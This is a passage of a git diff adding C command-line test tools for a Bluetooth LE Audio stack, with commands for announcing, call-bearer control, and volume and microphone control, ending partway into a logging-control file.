int argc, char* argv[]); + +static bt_command_t g_lea_server_tables[] = { + { "startance", start_announce_cmd, 0, "\"start lea announce, params: <adv_id> <announce_type>\"" }, + { "stopance", stop_announce_cmd, 0, "\"stop lea announce, params: <adv_id>\"" }, + { "disconnect", disconnect_device, 0, "\"disconnect lea connection, params: <address>\"" }, + { "constate", get_connection_state, 0, "\"get lea connection state, params: <address>\"" }, + { "disconnectaudio", disconnect_audio, 0, "\"disconnect lea audio, params: <address>\"" }, +}; + +static void* lea_server_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_lea_server_tables); i++) { + printf("\t%-8s\t%s\n", g_lea_server_tables[i].cmd, g_lea_server_tables[i].help); + } +} + +static int start_announce_cmd(void* handle, int argc, char* argv[]) +{ + uint16_t adv_size; + uint16_t md_size; + uint8_t adv_id; + uint8_t announce_type; + uint8_t adv_data[] = { 0x02, 0x01, 0x06, 0x09, 0x09, 0x42, 0x52, 0x54, 0x2D, + 0x49, 0x44, 0x4D, 0x30, 0x03, 0x02, 0x00, 0xFF }; + uint8_t md_data[] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06 }; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + adv_size = sizeof(adv_data) / sizeof(adv_data[0]); + md_size = sizeof(md_data) / sizeof(md_data[0]); + adv_id = atoi(argv[0]); + announce_type = atoi(argv[1]); + + if (bt_lea_server_start_announce(handle, adv_id, announce_type, adv_data, adv_size, md_data, md_size) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int stop_announce_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_lea_server_stop_announce(handle, atoi(argv[0])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_device(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_server_disconnect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_audio(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_server_disconnect_audio(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_connection_state(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + profile_connection_state_t state; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + state = bt_lea_server_get_connection_state(handle, &addr); + + PRINT_ADDR("get_connection_state, addr:%s, state:%d", &addr, state); + + return CMD_OK; +} + +static void server_stack_state_callback(void* cookie, + lea_server_stack_state_t enabled) +{ + PRINT("server_stack_state_callback enable:%d", enabled); +} + +static void server_connection_state_callback(void* cookie, + profile_connection_state_t state, bt_address_t* bd_addr) +{ + PRINT_ADDR("lea_connection_state_callback, addr:%s, state:%d", bd_addr, state); +} + +static const lea_server_callbacks_t lea_server_cbs = { + sizeof(lea_server_cbs), + server_stack_state_callback, + server_connection_state_callback, +}; + +int leas_command_init(void* handle) +{ + bt_status_t ret; + + ret = bluetooth_start_service(handle, PROFILE_LEAUDIO_SERVER); + if (ret != BT_STATUS_SUCCESS) { + PRINT("%s, failed ret:%d", __func__, ret); + return ret; + } + + lea_server_callbacks = bt_lea_server_register_callbacks(handle, &lea_server_cbs); + return 0; +} + +void leas_command_uninit(void* handle) +{ + bt_status_t ret; + + bt_lea_server_unregister_callbacks(handle, lea_server_callbacks); + ret = bluetooth_stop_service(handle, PROFILE_LEAUDIO_SERVER); + if (ret != BT_STATUS_SUCCESS) { + PRINT("%s, failed ret:%d", __func__, ret); + } +} + +int leas_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_lea_server_tables, ARRAY_SIZE(g_lea_server_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/lea_tbs.c b/tools/lea_tbs.c new file mode 100644 index 0000000000000000000000000000000000000000..1a0e88ea42d80a4074026a84b08e4d7e9dd84da9 --- /dev/null +++ b/tools/lea_tbs.c @@ -0,0 +1,313 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_lea_tbs.h" +#include "bt_tools.h" + +static int tbs_add(void* handle, int argc, char* argv[]); +static int tbs_remove(void* handle, int argc, char* argv[]); +static int tbs_set_telephone_bearer_info(void* handle, int argc, char* argv[]); +static int tbs_add_call(void* handle, int argc, char* argv[]); +static int tbs_remove_call(void* handle, int argc, char* argv[]); +static int tbs_provider_name_changed(void* handle, int argc, char* argv[]); +static int tbs_bearer_technology_changed(void* handle, int argc, char* argv[]); +static int tbs_uri_schemes_supported_list_changed(void* handle, int argc, char* argv[]); +static int tbs_signal_strength_changed(void* handle, int argc, char* argv[]); +static int tbs_signal_strength_report_interval_changed(void* handle, int argc, char* argv[]); +static int tbs_status_flags_changed(void* handle, int argc, char* argv[]); +static int tbs_call_state_changed(void* handle, int argc, char* argv[]); +static int tbs_notify_termination_reason(void* handle, int argc, char* argv[]); +static int tbs_call_control_response(void* handle, int argc, char* argv[]); + +#define TBS_SET_BEARER "set bearer param: <ref><name><uci><uri_schemes><tech><strength><interval><status_flags><optional_op>" +#define TBS_ADD_CALL "add a call param: <index><state><flags><call_uri><incoming_target_uri><friendly_name>" + +static bt_command_t g_lea_tbs_tables[] = { + { "add", tbs_add, 0, "add TBS instance param: <NULL>" }, + { "remove", tbs_remove, 0, "remove TBS instance param: <NULL>" }, + { "tele", tbs_set_telephone_bearer_info, 0, TBS_SET_BEARER }, + { "call", tbs_add_call, 0, TBS_ADD_CALL }, + { "rmcall", tbs_remove_call, 0, "remove a call param: <call_index>" }, + { "providername", tbs_provider_name_changed, 0, "TBS notify provider name changed param: <name>" }, + { "technology", tbs_bearer_technology_changed, 0, "TBS notify bearer tech changed param: <technology>" }, + { "urischemes", tbs_uri_schemes_supported_list_changed, 0, "TBS notify uri supported list changed param: <uri_schemes>" }, + { "signalstrength", tbs_signal_strength_changed, 0, "TBS notify signal strength changed param: <strength>" }, + { "reportinterval", tbs_signal_strength_report_interval_changed, 0, "TBS notify ss report interval changed param: <interval>" }, + { "statusflags", tbs_status_flags_changed, 0, "TBS notify status flags changed param: <status_flags>" }, + { "state", tbs_call_state_changed, 0, "TBS notify call state param: <number><index><state><flags>" }, + { "term_reason", tbs_notify_termination_reason, 0, "TBS notify termination reason param: <call_index><reason>" }, + { "resp", tbs_call_control_response, 0, "TBS call control response param: <call_index><result>" }, +}; + +static void* tbs_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_lea_tbs_tables); i++) { + printf("\t%-8s\t%s\n", g_lea_tbs_tables[i].cmd, g_lea_tbs_tables[i].help); + } +} + +/* interface */ +static int tbs_add(void* handle, int argc, char* argv[]) +{ + if (bt_lea_tbs_service_add(handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_remove(void* handle, int argc, char* argv[]) +{ + if (bt_lea_tbs_service_remove(handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_set_telephone_bearer_info(void* handle, int argc, char* argv[]) +{ + if (argc < 9) + return CMD_PARAM_NOT_ENOUGH; + + lea_tbs_telephone_bearer_t* bearer = (lea_tbs_telephone_bearer_t*)malloc(sizeof(lea_tbs_telephone_bearer_t)); + bearer->bearer_ref = (void*)atoi(argv[0]); + strcpy((char*)bearer->provider_name, argv[1]); + strcpy((char*)bearer->uci, argv[2]); + strcpy((char*)bearer->uri_schemes, argv[3]); + bearer->technology = (uint8_t)atoi(argv[4]); + bearer->signal_strength = (uint8_t)atoi(argv[5]); + bearer->signal_strength_report_interval = (uint8_t)atoi(argv[6]); + bearer->status_flags = (uint8_t)atoi(argv[7]); + bearer->optional_opcodes_supported = (uint8_t)atoi(argv[8]); + if (bt_lea_tbs_set_telephone_bearer_info(handle, bearer) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_add_call(void* handle, int argc, char* argv[]) +{ + if (argc < 6) + return CMD_PARAM_NOT_ENOUGH; + + lea_tbs_calls_t* call_s = (lea_tbs_calls_t*)malloc(sizeof(lea_tbs_calls_t)); + + call_s->index = (uint8_t)atoi(argv[0]); + call_s->state = (uint8_t)atoi(argv[1]); + call_s->flags = (uint8_t)atoi(argv[2]); + strcpy((char*)call_s->call_uri, argv[3]); + strcpy((char*)call_s->incoming_target_uri, argv[4]); + strcpy((char*)call_s->friendly_name, argv[5]); + + if (bt_lea_tbs_add_call(handle, call_s) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_remove_call(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t call_index = (uint8_t)atoi(argv[0]); + + if (bt_lea_tbs_remove_call(handle, call_index) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_provider_name_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t* name = (uint8_t*)atoi(argv[0]); + + if (bt_lea_tbs_provider_name_changed(handle, name) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_bearer_technology_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t technology = (uint8_t)atoi(argv[0]); + + if (bt_lea_tbs_bearer_technology_changed(handle, technology) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_uri_schemes_supported_list_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t* uri_schemes = (uint8_t*)atoi(argv[0]); + + if (bt_lea_tbs_uri_schemes_supported_list_changed(handle, uri_schemes) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_signal_strength_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t strength = (uint8_t)atoi(argv[0]); + + if (bt_lea_tbs_rssi_value_changed(handle, strength) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_signal_strength_report_interval_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t interval = (uint8_t)atoi(argv[0]); + + if (bt_lea_tbs_rssi_interval_changed(handle, interval) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_status_flags_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t status_flags = (uint8_t)atoi(argv[0]); + + if (bt_lea_tbs_status_flags_changed(handle, status_flags) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_call_state_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t number = (uint8_t)atoi(argv[0]); + lea_tbs_call_state_t* states_s; + states_s = (lea_tbs_call_state_t*)malloc(sizeof(lea_tbs_call_state_t) * number); + lea_tbs_call_state_t* sub_state = states_s; + + for (int i = 0; i < number; i++) { + (sub_state)->index = (uint8_t)atoi(argv[i]); + (sub_state)->state = (uint8_t)atoi(argv[i]); + (sub_state)->flags = (uint8_t)atoi(argv[i]); + sub_state++; + } + + if (bt_lea_tbs_call_state_changed(handle, number, states_s) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_notify_termination_reason(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t call_index = (uint8_t)atoi(argv[0]); + uint8_t reason = (uint8_t)atoi(argv[1]); + + if (bt_lea_tbs_notify_termination_reason(handle, call_index, reason) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int tbs_call_control_response(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t call_index = (uint8_t)atoi(argv[0]); + uint8_t result = atoi(argv[1]); + + if (bt_lea_tbs_call_control_response(handle, call_index, result) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static void tbs_test_callback(void* cookie, uint8_t value, bool added) +{ + printf("lea_tbs_state_callback"); +} + +static const lea_tbs_callbacks_t lea_tbs_cbs = { + sizeof(lea_tbs_cbs), + tbs_test_callback, +}; + +int lea_tbs_command_init(void* handle) +{ + tbs_callbacks = bt_lea_tbs_register_callbacks(handle, &lea_tbs_cbs); + + return CMD_OK; +} + +void lea_tbs_command_uninit(void* handle) +{ + bt_status_t ret; + + bt_lea_tbs_unregister_callbacks(handle, tbs_callbacks); + + ret = bluetooth_stop_service(handle, PROFILE_LEAUDIO_TBS); + if (ret != BT_STATUS_SUCCESS) { + PRINT("%s, failed ret:%d", __func__, ret); + } +} + +int lea_tbs_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_lea_tbs_tables, ARRAY_SIZE(g_lea_tbs_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/lea_vmicp.c b/tools/lea_vmicp.c new file mode 100644 index 0000000000000000000000000000000000000000..af63ba11e904f471b6776fc813e5b02e6ee38dec --- /dev/null +++ b/tools/lea_vmicp.c @@ -0,0 +1,240 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_lea_vmicp.h" +#include "bt_tools.h" + +// vcs client interface +static int vcc_vol_state_get(void* handle, int argc, char** argv); +static int vcc_vol_flags_get(void* handle, int argc, char** argv); +static int vcc_vol_change(void* handle, int argc, char** argv); +static int vcc_vol_unmute_change(void* handle, int argc, char** argv); +static int vcc_abs_vol_set(void* handle, int argc, char** argv); +static int vcc_mute_state_set(void* handle, int argc, char** argv); +// mics client interface +static int micc_mute_state_get(void* handle, int argc, char** argv); +static int micc_mute_state_set(void* handle, int argc, char** argv); + +static bt_command_t g_lea_vmicp_tables[] = { + { "volget", vcc_vol_state_get, 0, "get volume state param: <addr>" }, + { "flagsget", vcc_vol_flags_get, 0, "get volume flags param: <addr>" }, + { "volchange", vcc_vol_change, 0, "up or down volume param1: <addr> param2: up(1)/down(0) " }, + { "volunmutechange", vcc_vol_unmute_change, 0, "up or down volume and unmute param: <addr> param2: up(1)/down(0) " }, + { "absvolset", vcc_abs_vol_set, 0, "set absolute volume param1: <addr> param2:volume(0~255)" }, + { "volmuteset", vcc_mute_state_set, 0, "set volume mute param1: <addr> param2:mute(1)/unmute(0)" }, + { "micmuteget", micc_mute_state_get, 0, "get mic mute state param: <addr>" }, + { "micmuteset", micc_mute_state_set, 0, "set mic mute state param1: <addr> param2:mute(1)/unmute(0)" }, +}; + +static void* vmicp_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_lea_vmicp_tables); i++) { + printf("\t%-8s\t%s\n", g_lea_vmicp_tables[i].cmd, g_lea_vmicp_tables[i].help); + } +} + +/* interface */ +static int vcc_vol_state_get(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_vmicp_get_volume_state(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int vcc_vol_flags_get(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_vmicp_get_volume_flags(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int vcc_vol_change(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int dir = atoi(argv[1]); + + if (bt_lea_vmicp_change_volume(handle, &addr, dir) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int vcc_vol_unmute_change(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int dir = atoi(argv[1]); + + if (bt_lea_vmicp_change_unmute_volume(handle, &addr, dir) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int vcc_abs_vol_set(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int volume = atoi(argv[1]); + + if (bt_lea_vmicp_set_volume(handle, &addr, volume) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int vcc_mute_state_set(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int mute = atoi(argv[1]); + + if (bt_lea_vmicp_set_volume_mute(handle, &addr, mute) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int micc_mute_state_get(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_vmicp_get_mic_state(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int micc_mute_state_set(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int mute = atoi(argv[1]); + + if (bt_lea_vmicp_set_mic_mute(handle, &addr, mute) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static void vmicp_volume_state_callback(void* context, bt_address_t* addr, int volume, int mute) +{ + PRINT_ADDR("vmicp_volume_state_callback, addr:%s", addr); + PRINT("vmicp_volume_state_callback volume:%d, mute:%d", volume, mute); +} + +static void vmicp_volume_flags_callback(void* context, bt_address_t* addr, int flags) +{ + PRINT_ADDR("vmicp_volume_flags_callback, addr:%s", addr); + PRINT("vmicp_volume_flags_callback flags:%d", flags); +} + +static void vmicp_mic_state_callback(void* context, bt_address_t* addr, int mute) +{ + PRINT_ADDR("vmicp_mic_state_callback, addr:%s", addr); + PRINT("vmicp_mic_state_callback mic:%d", mute); +} + +static const lea_vmicp_callbacks_t lea_vmicp_cbs = { + sizeof(lea_vmicp_cbs), + vmicp_volume_state_callback, + vmicp_volume_flags_callback, + vmicp_mic_state_callback, +}; + +int lea_vmicp_command_init(void* handle) +{ + vmicp_callbacks = bt_lea_vmicp_register_callbacks(handle, &lea_vmicp_cbs); + + return CMD_OK; +} + +void lea_vmicp_command_uninit(void* handle) +{ + bt_lea_vmicp_unregister_callbacks(handle, vmicp_callbacks); +} + +int vmicp_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_lea_vmicp_tables, ARRAY_SIZE(g_lea_vmicp_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/lea_vmics.c b/tools/lea_vmics.c new file mode 100644 index 0000000000000000000000000000000000000000..7ceb8cc044b5319d61fcb80b27d6e3986ff55d14 --- /dev/null +++ b/tools/lea_vmics.c @@ -0,0 +1,137 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_lea_vmics.h" +#include "bt_tools.h" + +// vcs server interface +static int vcs_volume_set(void* handle, int argc, char** argv); +static int vcs_mute_set(void* handle, int argc, char** argv); +static int vcs_vol_flags_set(void* handle, int argc, char** argv); + +// mics server interface +static int mics_mute_set(void* handle, int argc, char** argv); + +static bt_command_t g_lea_vmics_tables[] = { + // vcs server interface + { "vcsvolume", vcs_volume_set, 0, "\"leaudio server set volume param: volume(0~255)\"" }, + { "vcsmute", vcs_mute_set, 0, "\"leaudio server set mute state param: mute(0:unmute,1:mute)\"" }, + { "vcsvolflags", vcs_vol_flags_set, 0, "\"leaudio server set volume stater param: flags(0~1)\"" }, + { "micsmute", mics_mute_set, 0, "\"leaudio server set mute state param: mute(0:unmute,1:mute, 2:disable)\"" }, +}; + +static void* vmics_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_lea_vmics_tables); i++) { + printf("\t%-8s\t%s\n", g_lea_vmics_tables[i].cmd, g_lea_vmics_tables[i].help); + } +} + +static int vcs_volume_set(void* handle, int argc, char** argv) +{ + if (argc < 1) { + return CMD_PARAM_NOT_ENOUGH; + } + + int vol = atoi(argv[0]); + if (bt_lea_vcs_volume_set(handle, vol) != BT_STATUS_SUCCESS) { + return CMD_ERROR; + } + return CMD_OK; +} + +static int vcs_mute_set(void* handle, int argc, char** argv) +{ + if (argc < 1) { + return CMD_PARAM_NOT_ENOUGH; + } + + int mute = atoi(argv[0]); + if (bt_lea_vcs_mute_set(handle, mute) != BT_STATUS_SUCCESS) { + return CMD_ERROR; + } + return CMD_OK; +} + +static int vcs_vol_flags_set(void* handle, int argc, char** argv) +{ + if (argc < 1) { + return CMD_PARAM_NOT_ENOUGH; + } + + int flags = atoi(argv[0]); + if (bt_lea_vcs_volume_flags_set(handle, flags) != BT_STATUS_SUCCESS) { + return CMD_ERROR; + } + return CMD_OK; +} + +static int mics_mute_set(void* handle, int argc, char** argv) +{ + if (argc < 1) { + return CMD_PARAM_NOT_ENOUGH; + } + + int mute = atoi(argv[0]); + if (bt_lea_mics_mute_set(handle, mute) != BT_STATUS_SUCCESS) { + return CMD_ERROR; + } + return CMD_OK; +} + +static void vmics_test_callback(void* context, int unused) +{ + PRINT("vmics_test_callback unused:%d", unused); +} + +static const lea_vmics_callbacks_t lea_vmics_cbs = { + sizeof(lea_vmics_cbs), + vmics_test_callback, +}; + +int lea_vmics_command_init(void* handle) +{ + vmics_callbacks = bt_lea_vmics_register_callbacks(handle, &lea_vmics_cbs); + return CMD_OK; +} + +void lea_vmics_command_uninit(void* handle) +{ + bt_lea_vmics_unregister_callbacks(handle, vmics_callbacks); +} + +int vmics_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_lea_vmics_tables, ARRAY_SIZE(g_lea_vmics_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/log.c b/tools/log.c new file mode 100644 index 0000000000000000000000000000000000000000..21dfe099ef508fa6c91930c6a102b635228fee88 --- /dev/null +++ b/tools/log.c @@ -0,0 +1,252 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#ifdef CONFIG_KVDB +#include "kvdb.h" +#endif + +#include "bt_debug.h" +#include "bt_tools.h" +#include "bt_trace.h" +#include "utils/btsnoop_log.h" + +static int enable_cmd(void* handle, int argc, char* argv[]); +static int disable_cmd(void* handle, int argc, char* argv[]); +static int mask_cmd(void* handle, int argc, char* argv[]); +static int filter_cmd(void* handle, int argc, char* argv[]); +static int unfilter_cmd(void* handle, int argc, char* argv[]); +static int unmask_cmd(void* handle, int argc, char* argv[]); +static int level_cmd(void* handle, int argc, char* argv[]); + +static bt_command_t g_log_tables[] = { + { "enable", enable_cmd, 0, "\"Enable param: (\"snoop\" or \"stack\")\"" }, + { "disable", disable_cmd, 0, "\"Disable param: (\"snoop\" or \"stack\")\"" }, + { "mask", mask_cmd, 0, "\"Enable Stack Profile & Protocol Log <bit>\"\n" + "\t\t\tExample enable HCI and L2CAP: \"bttool> log mask 1 4\" \n" + "\t\t\tProfile && Protocol Enum:\n" + "\t\t\t HCI: 1\n" + "\t\t\t HCI RAW PDU:2\n" + "\t\t\t L2CAP: 4\n" + "\t\t\t SDP: 5\n" + "\t\t\t ATT: 6\n" + "\t\t\t SMP: 7\n" + "\t\t\t RFCOMM:8\n" + "\t\t\t OBEX: 9\n" + "\t\t\t AVCTP: 10\n" + "\t\t\t AVDTP: 11\n" + "\t\t\t AVRCP: 12\n" + "\t\t\t HFP: 14\n" }, + { "unmask", unmask_cmd, 0, "\"Filter hci data <bit>\"" }, + { "filter", filter_cmd, 0, "\"Filter hci data written to btsnoop <bit>\"" + "\t\t\tData type Enum:\n" + "\t\t\tAudio data: 0\n" + "\t\t\tAVCTP browsing data: 1\n" + "\t\t\tATT data: 2\n" + "\t\t\tSPP data: 3\n" }, + { "unfilter", unfilter_cmd, 0, "\"Disable Stack Profile & Protocol Log <bit>\"" }, + { "level", level_cmd, 0, "\"Set framework log level, (OFF:0,ERR:3,WARN:4,INFO:6,DBG:7)\"" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_log_tables); i++) { + printf("\t%-8s\t%s\n", g_log_tables[i].cmd, g_log_tables[i].help); + } +} + +static void property_change_commit(int bit) +{ +#ifdef CONFIG_KVDB + property_set_int32("persist.bluetooth.log.changed", (1 << bit) & 0xFFFFFFFF); + property_commit(); +#endif +} + +static int log_control(void* handle, char* id, int enable) +{ +#ifdef CONFIG_KVDB + 